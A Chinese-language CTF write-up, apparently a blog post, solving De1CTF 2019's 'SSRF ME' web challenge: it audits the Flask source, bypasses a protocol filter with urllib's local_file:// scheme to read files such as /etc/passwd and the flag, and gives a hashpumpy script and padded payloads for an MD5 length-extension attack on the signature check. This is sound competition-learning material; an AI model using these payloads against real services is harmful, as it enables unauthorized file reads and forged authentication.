师傅,图片显示失败了~感觉错过了好多
浅析De1CTF 2019的两道web SSRF ME && ShellShellShell
0x0 前言
这两道题目一个目测感觉是送分题还有一道是原题,但是过程挺有意思的,这里简单记录下。
0x1 题目介绍
SSRF ME
ShellShellShell
这两道题其实有点偏脑洞成分,不过给出了hint
,下面主要挑点有价值的点来学习下。
0x2 SSRF ME 解题过程
这个题目不是特别有意思,简单的python审计+ Md5扩展长度攻击,但是有意思的是可以总结下Md5扩展攻击的秒题思路,以及脚本编写。
题目链接 (我做的时候题目环境还在:)
0x2.1 step1 审计源代码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
这里丢一下我当时自己再做这个题目写的一些草稿。
# 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
action = urllib.unquote(request.cookies.get("action"))
# print(action)
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request
.cookies.get("sign"))
ip = request.remote_addr
# 这里通过 http协议的header头Cookies: action=123;sign=ss
# 还有URLPath的query: ?param=123
# 去设置 class Task 初始化实例时 调用的实例
if(waf(param)): # file protocol can be bypassed by use local-file:// (urllib cve)
return "No Hacker!!!!"
task = Task(action, param, sign, ip) # follow it
# task = Task(action, param, sign, ip)
# return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
print ip
# 读下Exec,简化下逻辑
# 首先self.checkSign() 第一重限制
# def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
# def getSign(action , param) 核心:
# return hashlib.md5(secert_key + param + action).hexdigest()
# 然后分析下代码:
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # here is vulunerability
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp # here,just print resp in server,dont't output user
tmpfile.write(resp) # save result to result.txt
tmpfile.close()
result['code'] = 200
if "read" in self.action: # so we must run it to output result
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
# 整理下整个题目的思路:
# 两个限制的绕过
# def waf(content) -----> local-file://
# def checkSign(self) ---> md5扩展攻击
# 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己 # 没写一些脚本去说明和简化这类型的通用解法
# https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
# 趁着这次做题,补充下做题的工具做法
@app.route("/geneSign", methods=['GET', 'POST']) # get step1
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
# secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
# need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
# secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
# /geneSign?param=local-file:///etc/pwd
# fe28521b6c224cad35396cacdb118890
# secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)
写的比较乱哈,当时有脑抽了,本来到这里,完全可以利用那个
/geneSign?param=local-file:///etc/passwdread
生成对应的md5的了,
我当时也简单想了下,当时自己把正确的出题思路想通了,结果。。。以为就不行了。
这个题目这样判断的话就没办法了。
if "read" in self.action
=> if "scanread" in self.action:
(因为你是不可能获取到read为结尾的md5呀,是不是特别好理解,我当时就是理所当然了,以为代码是这样的。)
当时可能眼花了,其实另一方面是我觉得这个题目虽然挺普通,但是能再次回顾下md5扩展思路的一些做题技巧,因为自己大一大二一直在学习知识拓展自己的知识面,所以很少做ctf的题目,平时遇到什么类型的题基本就是自己重新理解然后写脚本来做的,所以做题速度很慢,反正就是特别菜那种,所以吸取教训之后,我就需要把一些常见的知识点写出快速秒题脚本和思路总结起来。 let us start………….
0x2.2 md5扩展攻击原理及其脚本浅析
关于原理,小弟不才,写了篇文章放在了githud上cryptograph-of-web
我们可以通俗简单理解下md5扩展攻击原理:
常用的攻击形式:
已知: md5(secretkey+'x')
未知: key的值
求md5(secretkey+'x补位长度个\x00'+'aaa') 其实更通用的说法就是构造个能带有aaa的md5值
原理很简单:
MD5以512比特(64字节)为一组进行分组加密得到ABCD变量最后ABCD变量的级联就是最后的MD5值
那么大于64字节之后,那么ABCD变量就是前面64字节md5后的结果。
根据题目来看看怎么攻击:
0x2.3 简单分析预期考点local_file
首先我们要确定下我们读取的文件的路径:
看到waf再看到check.startswith
匹配开头file
我就知道先去搜下cve了
网址如下:
很明显有这个bug,我们跟进源码看看为啥。
mac安装路径:
/usr/local/Cellar/python@2/2.7.15_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7
然后简单看下urlopen
方法
看到file
协议也是调用了封装的local_file
协议
成因及其代码都相当简单,这个不是重点就不多讲了。
0x2.4 Hashdump工具使用教程
我们根据文件读取,可以读取/root/.history
然后得到flag路径,就是local_file:///app/flag.txt
那么我们怎么构造满足条件的md5呢
先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')
77a4adb63c86bd6e8ad440e6123c3872
构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')
其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下
也就是把secretkey+local_file:///app/flag.txt
=>看成secretkey
不就是和上面等价了吗
然后打开:
然后用下小脚本转换为urlencode形式
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read
str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')
得到:
scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read
然后按照python代码传递对应的参数即可。
0x 2.5 python脚本
我感觉调用那个hashdump有点麻烦,那么有没有相关的python库能直接调用呢。
@一叶飘零师傅写的脚本
#!/usr/bin/python
# -*- coding:utf-8 -*-
import hashpumpy
import requests
import urllib
url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
'sign': new_sign[0],
'action': urllib.quote(new_sign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print(r.content)
这里有个关键的配置,可以简单说下
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
1.oldsign
代表是md5(secret+'local_file:flag.txt'+'scan')
2.url + 'scan'
代表'local_file:flag.tx' + 'scan' =local_file:flag.txscan
3.read
作为按要求填充的位置。
其实42和16都是可以,关键是你怎么计算key的长度和选取input的内容。
这里取key为16那么input的内容就是local_file:flag.txtscan
上面我那个样例取key为42那么input的内容就是'scan'。
0x2.6 谈谈关于路径查找及其协议路径问题
关于flag的路径,我是通过读取/root/.history
猜到的。
其实这个题目其实都不用绕过协议也行
我们直接传入文件名也可以读取,因为不存在协议的时候,默认就是file
协议
所以local-file
也是可以的(我也不知道作者为啥这样写)
然后我们也可以可以发现前面payload:
local_file:flag.txt
路径就是相对脚本的路径
而
local_file://
就必须使用绝对路径(协议一般都是这样)
我们可以简单分析下代码: